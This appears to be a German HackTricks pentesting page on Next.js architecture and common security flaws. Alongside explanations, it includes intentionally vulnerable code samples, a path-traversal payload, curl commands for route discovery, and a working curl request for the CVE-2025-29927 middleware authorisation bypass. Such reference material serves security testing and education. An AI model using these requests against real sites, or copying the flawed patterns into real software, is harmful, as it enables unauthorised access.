NextJS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Allgemeine Architektur einer Next.js-Anwendung
Typische Datei- und Verzeichnisstruktur
Ein Standard-Next.js-Projekt folgt einer bestimmten Datei- und Verzeichnisstruktur, die Funktionen wie Routing, API-Endpunkte und Verwaltung statischer Assets unterstützt. Hier ein typischer Aufbau:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Wichtige Verzeichnisse und Dateien
- public/: Hostet statische Assets wie Bilder, Schriftarten und andere Dateien. Dateien hier sind unter dem Root-Pfad (
/) zugänglich. - app/: Zentrales Verzeichnis für die Seiten, Layouts, Komponenten und API-Routen deiner Anwendung. Nutzt das App Router-Paradigma und ermöglicht erweiterte Routing-Features sowie die Trennung von Server- und Client-Komponenten.
- app/layout.tsx: Definiert das Root-Layout deiner Anwendung, umschließt alle Seiten und stellt konsistente UI-Elemente wie Header, Footer und Navigationsleisten bereit.
- app/page.tsx: Dient als Einstiegspunkt für die Root-Route
/und rendert die Startseite. - app/[route]/page.tsx: Behandelt statische und dynamische Routen. Jeder Ordner innerhalb von
app/repräsentiert ein Routen-Segment, undpage.tsxin diesen Ordnern entspricht der Komponente der Route. - app/api/: Enthält API-Routen, mit denen du serverlose Funktionen erstellen kannst, die HTTP-Anfragen verarbeiten. Diese Routen ersetzen das traditionelle
pages/api-Verzeichnis. - app/components/: Beinhaltet wiederverwendbare React-Komponenten, die auf verschiedenen Seiten und Layouts verwendet werden können.
- app/styles/: Beinhaltet globale CSS-Dateien und CSS-Module für komponentenspezifisches Styling.
- app/utils/: Enthält Utility-Funktionen, Hilfs-Module und andere nicht-UI-Logik, die in der gesamten Anwendung geteilt werden kann.
- .env.local: Speichert Umgebungsvariablen, die speziell für die lokale Entwicklungsumgebung gelten. Diese Variablen werden nicht in die Versionsverwaltung eingecheckt.
- next.config.js: Passt das Verhalten von Next.js an, inklusive webpack-Konfigurationen, Umgebungsvariablen und Sicherheitseinstellungen.
- tsconfig.json: Konfiguriert TypeScript-Einstellungen für das Projekt, aktiviert Type-Checking und andere TypeScript-Features.
- package.json: Verwaltet Projektabhängigkeiten, Scripts und Metadaten.
- README.md: Bietet Dokumentation und Informationen zum Projekt, einschließlich Installationsanweisungen, Nutzungshinweisen und weiteren relevanten Details.
- yarn.lock / package-lock.json: Fixiert die Projektabhängigkeiten auf bestimmte Versionen und sorgt so für konsistente Installationen in verschiedenen Umgebungen.
Clientseitig in Next.js
Dateibasiertes Routing im app-Verzeichnis
Das app-Verzeichnis ist der Eckpfeiler des Routings in den aktuellen Next.js-Versionen. Es nutzt das Dateisystem zur Definition von Routen, wodurch die Verwaltung von Routen intuitiv und skalierbar wird.
Umgang mit dem Root-Pfad /
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Wichtige Dateien:
app/page.tsx: Behandelt Anfragen an den Root-Pfad/.app/layout.tsx: Definiert das Layout der Anwendung und umschließt alle Seiten.
Implementierung:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Erklärung:
- Routen-Definition: Die Datei
page.tsxdirekt im Verzeichnisappentspricht der Route/. - Darstellung: Diese Komponente stellt den Inhalt der Startseite dar.
- Integration ins Layout: Die
HomePage-Komponente ist inlayout.tsxeingebettet, das Header, Footer und andere gemeinsame Elemente enthalten kann.
Umgang mit anderen statischen Pfaden
Beispiel: /about Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Erläuterung:
- Routen-Definition: Die Datei
page.tsxim Ordneraboutentspricht der Route/about. - Darstellung: Diese Komponente rendert den Inhalt der Seite
/about.
Dynamische Routen
Dynamische Routen erlauben die Verarbeitung von Pfaden mit variablen Segmenten und ermöglichen es Anwendungen, Inhalte anhand von Parametern wie IDs, slugs usw. darzustellen.
Beispiel: /posts/[id] Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Erklärung:
- Dynamic Segment:
[id]bezeichnet ein dynamisches Segment in der Route und erfasst denid-Parameter aus der URL. - Accessing Parameters: Das
params-Objekt enthält die dynamischen Parameter und ist innerhalb der Komponente zugänglich. - Route Matching: Jeder Pfad, der mit
/posts/*übereinstimmt, wie z. B./posts/1,/posts/abcusw., wird von dieser Komponente verarbeitet.
Verschachtelte Routen
Next.js unterstützt verschachtelte Routen und erlaubt hierarchische Routendesigns, die das Verzeichnislayout widerspiegeln.
Beispiel: /dashboard/settings/profile Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Erklärung:
- Tiefe Verschachtelung: Die Datei
page.tsxinnerhalb vondashboard/settings/profile/entspricht der Route/dashboard/settings/profile. - Hierarchieabbildung: Die Verzeichnisstruktur spiegelt den URL-Pfad wider und verbessert die Wartbarkeit und Klarheit.
Catch-All-Routen
Catch-All-Routen behandeln mehrere verschachtelte Segmente oder unbekannte Pfade und bieten Flexibilität bei der Routenverarbeitung.
Beispiel: /* Route
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Erklärung:
- Catch-All-Segment:
[...slug]erfasst alle verbleibenden Pfadsegmente als Array. - Verwendung: Nützlich zur Behandlung dynamischer Routing-Szenarien wie von Benutzern erstellten Pfaden, verschachtelten Kategorien usw.
- Routenabgleich: Pfade wie
/anything/here,/foo/bar/bazusw. werden von dieser Komponente verarbeitet.
Potenzielle clientseitige Schwachstellen
Obwohl Next.js eine sichere Grundlage bietet, können unsachgemäße Programmierpraktiken Schwachstellen einführen. Wichtige clientseitige Schwachstellen sind:
Cross-Site Scripting (XSS)
XSS-Angriffe treten auf, wenn bösartige Skripte in vertrauenswürdige Websites injiziert werden. Angreifer können Skripte im Browser der Nutzer ausführen, Daten stehlen oder Aktionen im Namen des Nutzers durchführen.
Beispiel für anfälligen Code:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Warum es anfällig ist: Die Verwendung von dangerouslySetInnerHTML mit nicht vertrauenswürdigen Eingaben ermöglicht Angreifern, bösartige Skripte einzuschleusen.
Client-Side Template Injection
Tritt auf, wenn Benutzereingaben in Templates nicht ordnungsgemäß verarbeitet werden, wodurch Angreifer Templates oder Ausdrücke injizieren und ausführen können.
Beispiel für verwundbaren Code:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Warum es verwundbar ist: Wenn template oder data bösartigen Inhalt enthalten, kann dies zur Ausführung von unbeabsichtigtem Code führen.
Client Path Traversal
Es handelt sich um eine Schwachstelle, die es Angreifern erlaubt, clientseitige Pfade zu manipulieren, um unbeabsichtigte Aktionen auszuführen, wie z. B. Cross-Site Request Forgery (CSRF). Im Gegensatz zu server-side path traversal, das das Dateisystem des Servers angreift, konzentriert sich CSPT darauf, clientseitige Mechanismen auszunutzen, um legitime API-Anfragen zu bösartigen Endpunkten umzuleiten.
Beispiel für verwundbaren Code:
Eine Next.js-Anwendung erlaubt Benutzern, Dateien hoch- und herunterzuladen. Die Download-Funktion ist clientseitig implementiert, wobei Benutzer den Pfad der herunterzuladenden Datei angeben können.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Angriffsszenario
- Ziel des Angreifers: Führe einen CSRF-Angriff aus, um eine kritische Datei (z. B.
admin/config.json) zu löschen, indemfilePathmanipuliert wird. - Ausnutzung von CSPT:
- Bösartige Eingabe: Der Angreifer erstellt eine URL mit einem manipulierten
filePathwie../deleteFile/config.json. - Resultierender API-Aufruf: Der clientseitige Code macht eine Anfrage an
/api/files/../deleteFile/config.json. - Server-Verhalten: Wenn der Server den
filePathnicht validiert, verarbeitet er die Anfrage und löscht oder exponiert möglicherweise sensible Dateien.
- Durchführung des CSRF:
- Gefälschter Link: Der Angreifer sendet dem Opfer einen Link oder bettet ein bösartiges Script ein, das die Download-Anfrage mit dem manipulierten
filePathauslöst. - Ergebnis: Das Opfer führt die Aktion unbewusst aus, was zu unautorisiertem Zugriff auf Dateien oder deren Löschung führt.
Warum es anfällig ist
- Fehlende Eingabevalidierung: Die clientseitige Anwendung erlaubt beliebige
filePath-Eingaben und ermöglicht so path traversal. - Vertrauen in Client-Eingaben: Die serverseitige API vertraut und verarbeitet den
filePathohne Bereinigung. - Mögliche API-Aktionen: Wenn der API-Endpunkt zustandsändernde Aktionen ausführt (z. B. Dateien löschen oder ändern), kann er via CSPT ausgenutzt werden.
Recon: statische Export-Routen-Erkennung via _buildManifest
Wenn nextExport/autoExport true sind (statischer Export), gibt Next.js die buildId im HTML preis und liefert ein build manifest unter /_next/static/<buildId>/_buildManifest.js. Das sortedPages-Array und die route→chunk-Zuordnung dort listen jede vorgerenderte Seite auf, ohne brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Verwende die entdeckten Pfade (zum Beispiel
/docs,/docs/content/examples,/signin) um auth testing und endpoint discovery voranzutreiben.
Serverseitig in Next.js
Serverseitiges Rendering (SSR)
Seiten werden bei jeder Anfrage auf dem Server gerendert, wodurch der Benutzer vollständiges HTML erhält. In diesem Fall sollten Sie Ihren eigenen Custom-Server erstellen, um die Anfragen zu verarbeiten.
Anwendungsfälle:
- Dynamische Inhalte, die sich häufig ändern.
- SEO-Optimierung, da Suchmaschinen die vollständig gerenderte Seite crawlen können.
Implementierung:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Statische Site-Generierung (SSG)
Seiten werden zur Build-Zeit vorgerendert, was zu schnelleren Ladezeiten und reduziertem Serveraufwand führt.
Anwendungsfälle:
- Inhalte, die sich nicht häufig ändern.
- Blogs, Dokumentation, Marketingseiten.
Implementierung:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverlose Funktionen (API Routes)
Next.js erlaubt das Erstellen von API-Endpunkten als serverlose Funktionen. Diese Funktionen werden bei Bedarf ausgeführt, ohne dass ein dedizierter Server erforderlich ist.
Anwendungsfälle:
- Verarbeitung von Formularübermittlungen.
- Interaktion mit Datenbanken.
- Verarbeitung von Daten oder Integration mit Drittanbieter-APIs.
Implementierung:
Mit der Einführung des app-Verzeichnisses in Next.js 13 sind Routing und API-Verarbeitung flexibler und leistungsfähiger geworden. Dieser moderne Ansatz passt eng zum dateibasierten Routing-System, bringt jedoch erweiterte Möglichkeiten mit sich, einschließlich Unterstützung für Server- und Client-Komponenten.
Grundlegender Route-Handler
Dateistruktur:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementierung:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Erklärung:
- Ort: API-Routen befinden sich im Verzeichnis
app/api/. - Dateibenennung: Jeder API-Endpunkt liegt in einem eigenen Ordner, der eine
route.jsoderroute.tsDatei enthält. - Exportierte Funktionen: Anstelle eines einzelnen Default-Exports werden spezifische HTTP-Methodenfunktionen (z. B.
GET,POST) exportiert. - Response-Verarbeitung: Verwende den
Response-Konstruktor, um Antworten zurückzugeben; das ermöglicht mehr Kontrolle über Header und Statuscodes.
Umgang mit anderen Pfaden und Methoden:
Spezifische HTTP-Methoden behandeln
Next.js 13+ ermöglicht es, Handler für spezifische HTTP-Methoden in derselben route.js- oder route.ts-Datei zu definieren, was zu klarerem und besser organisiertem Code führt.
Beispiel:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erklärung:
- Mehrere Exporte: Jede HTTP-Methode (
GET,PUT,DELETE) hat ihre eigene exportierte Funktion. - Parameter: Das zweite Argument bietet Zugriff auf Routenparameter über
params. - Erweiterte Antworten: Mehr Kontrolle über Antwortobjekte, wodurch eine präzise Verwaltung von Headern und Statuscodes möglich ist.
Catch-All- und verschachtelte Routen
Next.js 13+ unterstützt erweiterte Routing-Features wie Catch-All-Routen und verschachtelte API-Routen, die dynamischere und skalierbarere API-Strukturen ermöglichen.
Catch-All-Routen-Beispiel:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erläuterung:
- Syntax:
[...]bezeichnet ein Catch-all-Segment, das alle verschachtelten Pfade erfasst. - Verwendung: Nützlich für APIs, die unterschiedliche Routentiefen oder dynamische Segmente behandeln müssen.
Beispiel für verschachtelte Routen:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Erklärung:
- Tiefe Verschachtelung: Ermöglicht hierarchische API-Strukturen, die Ressourcenbeziehungen widerspiegeln.
- Parameterzugriff: Ermöglicht einfachen Zugriff auf mehrere Routenparameter über das
params-Objekt.
Umgang mit API-Routen in Next.js 12 und früheren Versionen
API-Routen im pages-Verzeichnis (Next.js 12 und frühere Versionen)
Bevor Next.js 13 das app-Verzeichnis und erweiterte Routing-Funktionen einführte, wurden API-Routen hauptsächlich im pages-Verzeichnis definiert. Dieser Ansatz wird weiterhin häufig verwendet und in Next.js 12 und früheren Versionen unterstützt.
Grundlegende API-Route
Dateistruktur:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Erläuterung:
- Location: API-Routen befinden sich im Verzeichnis
pages/api/. - Export: Verwende
export default, um die Handler-Funktion zu definieren. - Function Signature: Der Handler erhält die Objekte
req(HTTP-Anfrage) undres(HTTP-Antwort). - Routing: Der Dateiname (
hello.js) entspricht dem Endpoint/api/hello.
Dynamische API-Routen
Dateistruktur:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Erklärung:
- Dynamische Segmente: Eckige Klammern (
[id].js) kennzeichnen dynamische Route-Segmente. - Zugriff auf Parameter: Verwende
req.query.id, um auf den dynamischen Parameter zuzugreifen. - Umgang mit Methoden: Nutze bedingte Logik, um verschiedene HTTP-Methoden (
GET,PUT,DELETEusw.) zu behandeln.
Umgang mit verschiedenen HTTP-Methoden
Während das grundlegende API-Route-Beispiel alle HTTP-Methoden innerhalb einer einzigen Funktion behandelt, kannst du deinen Code so strukturieren, dass jede Methode explizit behandelt wird, um bessere Übersichtlichkeit und Wartbarkeit zu erreichen.
Beispiel:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Beste Vorgehensweisen:
- Trennung der Verantwortlichkeiten: Logik für verschiedene HTTP-Methoden klar trennen.
- Konsistenz der Antworten: Konsistente Antwortstrukturen sicherstellen, um die client-seitige Verarbeitung zu erleichtern.
- Fehlerbehandlung: Nicht unterstützte Methoden und unerwartete Fehler sauber behandeln.
CORS-Konfiguration
Kontrollieren Sie, welche Origins auf Ihre API-Routen zugreifen können, um Cross-Origin Resource Sharing (CORS)-Schwachstellen zu mindern.
Schlechtes Konfigurationsbeispiel:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Beachte, dass CORS auch in allen API-Routen innerhalb der middleware.ts-Datei konfiguriert werden kann:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Erlaubt beliebigen Websites, auf die API zuzugreifen, und kann böswilligen Seiten ermöglichen, ohne Einschränkungen mit Ihrer API zu interagieren.- Breite Methodenfreigabe: Das Zulassen aller Methoden kann Angreifern ermöglichen, unerwünschte Aktionen durchzuführen.
Wie Angreifer es ausnutzen:
Angreifer können bösartige Websites erstellen, die Anfragen an Ihre API stellen und dabei Funktionen wie Datenabruf, Datenmanipulation oder das Auslösen unerwünschter Aktionen im Namen authentifizierter Benutzer missbrauchen.
CORS - Misconfigurations & Bypass
Server-Code-Offenlegung auf der Client-Seite
Es kann leicht passieren, dass Code, der auf dem Server verwendet wird, auch im auf der Client-Seite offengelegten Code verwendet wird. Der beste Weg, um sicherzustellen, dass eine Code-Datei niemals auf der Client-Seite offengelegt wird, ist die Verwendung dieses Imports am Anfang der Datei:
import "server-only"
Wichtige Dateien und ihre Rollen
middleware.ts / middleware.js
Ort: Root des Projekts oder innerhalb von src/.
Zweck: Führt Code in der serverseitigen serverless-Funktion aus, bevor eine Anfrage verarbeitet wird, und ermöglicht Aufgaben wie Authentifizierung, Weiterleitungen oder das Modifizieren von Antworten.
Ablauf der Ausführung:
- Eingehende Anfrage: Die Middleware fängt die Anfrage ab.
- Verarbeitung: Führt Operationen basierend auf der Anfrage aus (z. B. Überprüfung der Authentifizierung).
- Antwortänderung: Kann die Antwort ändern oder die Kontrolle an den nächsten Handler übergeben.
Beispiele für Anwendungsfälle:
- Weiterleitung nicht authentifizierter Benutzer.
- Hinzufügen benutzerdefinierter Header.
- Protokollieren von Anfragen.
Beispielkonfiguration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Umgehung der Middleware-Autorisierung (CVE-2025-29927)
Wenn Autorisierung in der Middleware durchgesetzt wird, können betroffene Next.js-Versionen (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) durch Injizieren des Headers x-middleware-subrequest umgangen werden. Das Framework überspringt die Middleware-Rekursion und liefert die geschützte Seite zurück.
- Das Standardverhalten ist typischerweise eine 307-Weiterleitung zu einer Login-Route wie
/api/auth/signin. - Sende einen langen
x-middleware-subrequest-Wert (wiederholemiddleware, umMAX_RECURSION_DEPTHzu erreichen), um die Antwort auf 200 zu ändern:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Da authentifizierte Seiten viele Subressourcen laden, füge den Header zu jeder Anfrage hinzu (z. B. Burp Match/Replace mit einem leeren Match-String), damit Assets nicht umgeleitet werden.
next.config.js
Ort: Stammverzeichnis des Projekts.
Zweck: Konfiguriert das Verhalten von Next.js, aktiviert oder deaktiviert Features, passt webpack-Konfigurationen an, setzt Environment-Variablen und konfiguriert verschiedene Sicherheitsfunktionen.
Wichtige Sicherheitskonfigurationen:
Sicherheits-Header
Sicherheits-Header erhöhen die Sicherheit Ihrer Anwendung, indem sie Browser anweisen, wie mit Inhalten umgegangen werden soll. Sie helfen, verschiedene Angriffe wie Cross-Site Scripting (XSS), Clickjacking und MIME type sniffing zu mindern:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Beispiele:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Einstellungen zur Bildoptimierung
Next.js optimiert Bilder für die Performance, aber Fehlkonfigurationen können zu Sicherheitslücken führen, z. B. indem nicht vertrauenswürdige Quellen das Injizieren von bösartigem Inhalt ermöglichen.
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Erlaubt das Laden von Bildern aus beliebigen externen Quellen, einschließlich nicht vertrauenswürdiger oder bösartiger Domains. Angreifer können Bilder hosten, die bösartige Payloads enthalten oder Benutzer in die Irre führen.- Ein weiteres Problem kann sein, eine Domain zuzulassen, auf der jeder ein Bild hochladen kann (wie
raw.githubusercontent.com)
How attackers abuse it:
Durch das Einbinden von Bildern aus bösartigen Quellen können Angreifer Phishing-Angriffe durchführen, irreführende Informationen anzeigen oder Schwachstellen in Bild-Rendering-Bibliotheken ausnutzen.
Offenlegung von Umgebungsvariablen
Verwalte sensible Informationen wie API-Schlüssel und Datenbankzugangsdaten sicher, ohne sie dem Client preiszugeben.
a. Offenlegung sensibler Variablen
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problem:
SECRET_API_KEY: Ohne dasNEXT_PUBLIC_-Präfix exponiert Next.js Variablen nicht für den client. Wenn es jedoch versehentlich mit dem Präfix versehen ist (z. B.NEXT_PUBLIC_SECRET_API_KEY), wird es auf der client-side zugänglich.
Wie Angreifer es ausnutzen:
Wenn sensible Variablen dem client offengelegt werden, können Angreifer sie durch Inspektion des client-side Codes oder der network requests auslesen und so unautorisierten Zugriff auf APIs, databases oder andere services erlangen.
Redirects
Verwalte URL redirections und rewrites innerhalb deiner Anwendung, sodass Benutzer angemessen weitergeleitet werden, ohne open redirect vulnerabilities einzuführen.
a. Open Redirect Vulnerability
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dynamic Destination: Ermöglicht es Benutzern, beliebige URLs anzugeben, wodurch open redirect attacks möglich werden.
- Trusting User Input: Weiterleitungen zu von Benutzern bereitgestellten URLs ohne Validierung können zu Phishing, Malware-Verbreitung oder Diebstahl von Zugangsdaten führen.
How attackers abuse it:
Angreifer können URLs konstruieren, die scheinbar von Ihrer Domain stammen, aber Benutzer auf bösartige Seiten weiterleiten. Zum Beispiel:
https://yourdomain.com/redirect?url=https://malicious-site.com
Benutzer, die der ursprünglichen Domain vertrauen, könnten unwissentlich auf schädliche Websites gelangen.
Webpack-Konfiguration
Passen Sie Webpack-Konfigurationen für Ihre Next.js-Anwendung an; dabei können unbeabsichtigt Sicherheitslücken entstehen, wenn nicht vorsichtig vorgegangen wird.
a. Offenlegen sensibler Module
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Exposing Sensitive Paths: Aliasing sensitive directories and allowing client-side access can leak confidential information.
- Bundling Secrets: If sensitive files are bundled for the client, their contents become accessible through source maps or inspecting the client-side code.
How attackers abuse it:
Angreifer können auf die Verzeichnisstruktur der Anwendung zugreifen oder sie rekonstruieren, wodurch sie möglicherweise sensible Dateien oder Daten finden und ausnutzen.
pages/_app.js and pages/_document.js
pages/_app.js
Purpose: Überschreibt die Standard-App-Komponente und ermöglicht globalen State, Styles und Layout-Komponenten.
Use Cases:
- Globale CSS einbinden.
- Hinzufügen von Layout-Wrappern.
- Integration von State-Management-Bibliotheken.
Example:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Zweck: Überschreibt das Standard-Document und ermöglicht die Anpassung der <html>- und <body>-Tags.
Anwendungsfälle:
- Ändern der
<html>- oder<body>-Tags. - Hinzufügen von Meta-Tags oder benutzerdefinierten Skripten.
- Integration von Schriftarten von Drittanbietern.
Beispiel:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
